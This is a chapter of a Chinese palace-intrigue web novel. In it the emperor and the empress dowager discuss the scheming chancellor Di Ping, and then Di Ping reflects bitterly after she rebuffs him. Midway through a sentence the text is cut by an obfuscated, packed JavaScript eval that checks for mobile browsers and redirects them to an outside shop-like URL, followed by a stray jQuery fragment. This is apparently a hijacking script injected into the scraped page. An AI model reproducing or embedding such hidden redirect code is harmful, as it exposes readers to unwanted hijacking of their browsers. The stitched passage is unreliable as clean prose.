一开始，皇甫澍想到先帝曾经听信谗言，险些冤枉了当时还是婕妤的娄庄姬和冯盼春有私情，觉得所谓太后和丞相关系微妙也不过是有心之人背后作梗罢了，并不在乎。
但后来，这传言愈演愈烈，竟然有几分像真的。他于是旁敲侧击，试图探出口风。
整治贪污的事告一段落后，他终于可以多去上阳宫了。他有了闲暇，给娄庄姬描眉、梳发，忙里偷闲，别有一番趣味。一次，他捻起一缕青丝，陶醉地闻着发丝的香气，说：
“好香，这是什么香味啊？”
“我也觉得，这香味很独特，宫里都没有见过。这是狄平的妹妹制的。”
“又是狄平。”他梳发的动作顿住了。
“怎么了？听起来你对他意见很大的样子？”娄庄姬的笑容似乎别有用心。
“您装傻呢。”
“我想知道，你听到了什么。”
“不堪入耳。”
“真的吗？没有传那么离谱吧。”
皇甫澍放下梳子，从背后怀抱住她，看着镜子里的两人，皱着眉头说道：
“什么意思，你知道传言，还故意考我？”
“哈哈，这种传言，看来你很不满意。我看狄平倒是满意得很呢。”
“他对你献殷勤，简直是到了过分的程度。”
“故技重施罢了，”娄庄姬拿起一对珠翠宝石耳环，放在耳朵旁比划，“这对耳环也是他送的，若他想见我，我就戴上这副。”
“为什么要让他喜欢？”
“你在吃他的醋吗？”娄庄姬笑的很开心。
“当然，你都为他做到这个地步了。‘女为悦己者容’。见我的时候，你可不会这么用心打扮。”
“那不一样，”娄庄姬摇头，“他需要从我这里尝到甜头，而你还需要吗？我给你还不够多？”
“不够，”皇甫澍将头贴在她纤长的脖颈上，呼出的气流让她浑身麻酥酥的，“凭什么要让他尝到甜头。我们已经对他够好了，让他做了丞相，荣荫家族，赏赐不断，他还想要什么？想要你？”
“你瞧瞧，你这幅样子与斤斤计较的贩夫走卒何异？身为人君的胸怀呢？楚客绝缨，人才难得。”
“我梁朝幅员辽阔，倒也不缺他这一个人才。你是太后，他岂敢痴心妄想？”
“怎么不敢，”娄庄姬将耳环甩回妆奁盒里，“狄平是个机灵人，他知道自己的优势在哪里。仕途晋升，有的人凭的是才学，有的人凭关系，他就不一样，他凭的是钗裙，是女人。杜夫人和二公主为了他的前途付出了多少，对他多么痴心，若不是他昏了心脚踏两条船，恐怕在先帝时就已经位极人臣了吧。现在，他又准备攀上我了。”
“他怎么能，他一点脸面也不想要了吗？”
“他就是有这个胆子，”娄庄姬的语气忽而变得严厉，“人心不足蛇吞象，他迟早栽在自己的风流债上。”
“那你为什么还要纵容他？”
“他想玩玩，我就陪他玩。他为人不怎么样，办事还是靠谱的，现在这个时候，又没有更好的人能替他，他还有价值，我们就将计就计。”
皇甫澍还是忧心忡忡。
娄庄姬安慰他道：“你放心，他想要的并不真的是女人的爱情和心，他只是想要面子，还有贵女赠给他的权力和地位。后者，我可以给他。”
“给他可以，但一定要能收回来。”
娄庄姬笑着捏了一把他的耳朵，说：“你又不相信我了？”
“听说你靠他扶植了一股自己的势力？”
“只是朝中的几个眼线罢了。你每天听的消息多，万一有决策失误，我不过帮你盯着点。其实并不是非要他来帮忙，只不过是他正巧出现了，又那么殷勤。”
皇甫澍忽而沉默了，酝酿了一会儿后说：“你智谋无匹，我觉得你比我更适合当皇帝。”
娄庄姬想起他之前说过的有关禅让的话，哑然失笑：“笨蛋。皇位不像做官，这不是一个需要才华的位置。你需要的是人气、拥护和忠诚。光有才能，是远远不够坐上这个位置的。无能并不会使你退位，因无能而招致不满才是退位的原因，就像先帝。而在让人满意这方面，你很有天赋。”
“为什么呢？”
“我不知道。天赋哪能解释呢？人们通常把你的这种天赋称之为，帝王气。”
“帝王气？”
“你看你眉宇之间，”娄庄姬用双掌托起他的脸部，对着镜子左晃，右晃，“你看你的眉骨、额头、鼻梁，一看就像一个皇帝，像龙，真龙天子。”
“像龙？”皇甫澍想起了自己衮服上绣着的奇形怪状的龙，对这个比方不是很满意。
“龙睛凤目，这可是好词。不想像龙，那你还想像什么？”
“好好好，我像我像。”皇甫澍挤到镜子前，端详着自己的面庞，目不转睛。娄庄姬见他看得那么入神，打趣道：
“这么喜欢看自己啊？”
“因为你很喜欢看啊，晚上的时候我经常假装睡着了，眯着眼睛，发现你一直盯着我看，有时还拿手在我脸上比划呢。”
轮到娄庄姬脸红了。她伸出一只手盖在皇甫澍的脸上，把他推回身后，嗔怪道：“别偷懒，继续梳头。”
从镜中，她看到皇甫澍吻了她的头发，低声说：
“如果你跟狄平玩够了，就适可而止好吗，千万千万，不要把自己搭进去。”
她心中一荡，应道：“好，我答应你。这场游戏也差不多了，我想让他做的，他都做过了。我会收手的。”
很快，狄相就发现上阳宫对他的态度冷淡了下来。迎接他的不再是热情的笑脸，而是拒人于千里之外的礼貌。
他复盘自己哪里得罪了太后。
他想，太后让他安插眼线，他找人了。太后让他监视袁太妃残党，他监视了。太后让他兴建学校，他尽职尽责地建了。太后让他遴选一帮人编写记录梁朝各方面成就的大典，编书工作如火如荼。让他做的事，他件件卖力，与她相处时，他八面玲珑，到底是哪里出错了。
他当年劝娄庄姬当太后，就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974369|193489||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
因为想攀附上国家权力最大的女人，保证自己的仕途通达。君王的信任是难测的，而女人的爱情却往往炽烈长久，靠后者为自己的上升之路助力可比前者有用的多。这是他从小就领悟到的。
他的母亲出身名门望族，因为爱上草根出身的穷书生父亲，愿意为他投入自己家族的一切资源，心甘情愿为他铺路、打通向上的关节，火热的爱燃烧了几十年，他父亲的成就，就是他学习的范本。
他模仿父亲，并青出于蓝胜于蓝，做的比他更加极致。他的第一个猎物是国子监祭酒的女儿，通过她结识了杜相，从此平步青云。从丞相孙女，到公主，再到当朝太后，他要一步一步地爬上去。
他付出了多少啊。磨破了嘴皮子劝说娄庄姬，一路上费尽心力，将本应该是秘密的圣旨传播到举国皆知，鼓励娄庄姬去逼宫、推翻先帝，就是为了塑造一个会信任他，以至于坚定地爱上他的太后。他的情感游戏本该是百发百中的，怎么会在她身上失手。
他穿上了熨贴得没有一丝褶皱的官服，抹了粉装出苍白的脸色，酝酿好了满腹的委屈，又一次地走进了上阳宫。好歹他要问个清楚。
娄庄姬赐了茶，看起来好像什么事都没有发生。对他的可怜兮兮的模样，没有表露出些许的怜惜。
几轮机锋之后，他就明白了，她想终止二人的游戏。
“你家里需要一个主母，你该成亲了。”
“太后说笑了，微臣暂时还没有考虑家事。最近我既要顾着朝中，还要完成您交代的事，我忙的焦头烂额，哪有工夫考虑其他啊。”
“这样啊。是我考虑不周了。”
“多谢太后挂心。”
“以后，我就不托你办事了，绝不能为了我的一点私心，耽误了你的大事。”
狄平一愣。
“我为您做事，心甘情愿。”
“让丞相为深宫妇人做事，未免太大材小用了。”
“反正是大材小用，您交代的事对微臣来说，并不需要付出很多的心力，就让我为您继续效力吧。”
娄庄姬很满意地笑了。这次没有留他用膳，也没有赏赐。
她说：“今晚皇帝要来，有些事情恐怕不方便同你讲。”
他没有成功介入两人的感情，向上的努力没有得到任何结果。但他会为她做事。他没有料想到。但已经答应了为她做事。
狄平走在深冬的宫道上，冰冷的寒风挤在狭窄的宫墙里，变得更加逼仄刺骨。
他的步伐越走越快，他的脸色越来越铁青。
他愤愤地想：
他们俩算是什么正经皇帝和太后，一个与我做过同窗，另一个与我是年少相识。我看我们之间的差距也没有那么大。没有我，他当不上皇帝，她更不会当上太后。他们凭什么联起手来将我像狗一样溜来溜去地戏耍。
他走着走着，越想越不甘心。上一次失败，是因为碾压他的力量太强大，他无法质疑。这一次，他还可以再反抗。没有人的心是铁打的，不会被撼动的，只需要找到正确的方法。